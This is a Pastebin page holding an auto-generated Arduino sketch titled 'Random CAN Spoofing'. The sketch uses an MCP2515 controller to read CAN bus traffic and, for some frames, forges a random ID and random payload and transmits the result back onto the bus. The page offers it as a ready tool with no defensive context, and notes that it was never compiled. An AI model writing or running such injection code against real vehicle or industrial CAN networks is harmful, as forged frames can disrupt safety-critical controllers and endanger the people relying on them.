Advertisement
pleasedontcode

"Random CAN Spoofing" rev_05

Jun 15th, 2024
392
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /********* Pleasedontcode.com **********
  2.  
  3.     Pleasedontcode thanks you for automatic code generation! Enjoy your code!
  4.  
  5.     - Terms and Conditions:
  6.     You have a non-exclusive, revocable, worldwide, royalty-free license
  7.     for personal and commercial use. Attribution is optional; modifications
  8.     are allowed, but you're responsible for code maintenance. We're not
  9.     liable for any loss or damage. For full terms,
  10.     please visit pleasedontcode.com/termsandconditions.
  11.  
  12.     - Project: "Random CAN Spoofing"
  13.     - Source Code NOT compiled for: Arduino Pro Mini 5V
  14.     - Source Code created on: 2024-06-15 17:35:31
  15.  
  16. ********* Pleasedontcode.com **********/
  17.  
  18. /****** SYSTEM REQUIREMENTS *****/
  19. /****** SYSTEM REQUIREMENT 1 *****/
  20.     /* read CAN matrix and perform a spoofing on a random */
  21.     /* message. */
  22. /****** END SYSTEM REQUIREMENTS *****/
  23.  
  24. /****** DEFINITION OF LIBRARIES *****/
  25. #include <SPI.h>
  26. #include <mcp2515.h>  //https://github.com/autowp/arduino-mcp2515
  27.  
  28. /****** FUNCTION PROTOTYPES *****/
  29. void setup(void);
  30. void loop(void);
  31.  
  32. /***** DEFINITION OF DIGITAL INPUT PINS *****/
  33. const uint8_t can_MCP2515_INT_PIN_D5 = 5;
  34.  
  35. /***** DEFINITION OF SPI PINS *****/
  36. const uint8_t can_MCP2515_SPI_PIN_MOSI_D11 = 11;
  37. const uint8_t can_MCP2515_SPI_PIN_MISO_D12 = 12;
  38. const uint8_t can_MCP2515_SPI_PIN_SCLK_D13 = 13;
  39. const uint8_t can_MCP2515_SPI_PIN_CS_D10 = 10;
  40.  
  41. /****** DEFINITION OF LIBRARIES CLASS INSTANCES*****/
  42. MCP2515 mcp2515(can_MCP2515_SPI_PIN_CS_D10);  // Initialize MCP2515 with CS pin
  43.  
  44. struct can_frame canMsg;  // Define CAN message structure
  45.  
  46. void setup(void)
  47. {
  48.   // put your setup code here, to run once:
  49.  
  50.   pinMode(can_MCP2515_INT_PIN_D5, INPUT_PULLUP);
  51.  
  52.   pinMode(can_MCP2515_SPI_PIN_CS_D10, OUTPUT);
  53.   // start the SPI library:
  54.   SPI.begin();
  55.  
  56.   // Initialize MCP2515
  57.   mcp2515.reset();
  58.   mcp2515.setBitrate(CAN_125KBPS);
  59.   mcp2515.setNormalMode();
  60.  
  61.   Serial.begin(115200);
  62.   Serial.println("------- CAN Read ----------");
  63.   Serial.println("ID  DLC   DATA");
  64. }
  65.  
  66. void loop(void)
  67. {
  68.   // put your main code here, to run repeatedly:
  69.  
  70.   if (mcp2515.readMessage(&canMsg) == MCP2515::ERROR_OK) {
  71.     Serial.print(canMsg.can_id, HEX);
  72.     Serial.print(" ");
  73.     Serial.print(canMsg.can_dlc, HEX);
  74.     Serial.print(" ");
  75.     for (int i = 0; i < canMsg.can_dlc; i++) {
  76.       Serial.print(canMsg.data[i], HEX);
  77.       Serial.print(" ");
  78.     }
  79.     Serial.println();
  80.  
  81.     // Perform spoofing on a random message
  82.     if (random(0, 10) > 5) {  // Randomly decide whether to spoof the message
  83.       canMsg.can_id = random(0x100, 0x200);  // Randomly change the CAN ID
  84.       for (int i = 0; i < canMsg.can_dlc; i++) {
  85.         canMsg.data[i] = random(0, 256);  // Randomly change the data
  86.       }
  87.       mcp2515.sendMessage(&canMsg);  // Send the spoofed message
  88.       Serial.println("Spoofed message sent!");
  89.     }
  90.   }
  91. }
  92.  
  93. /* END CODE */
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement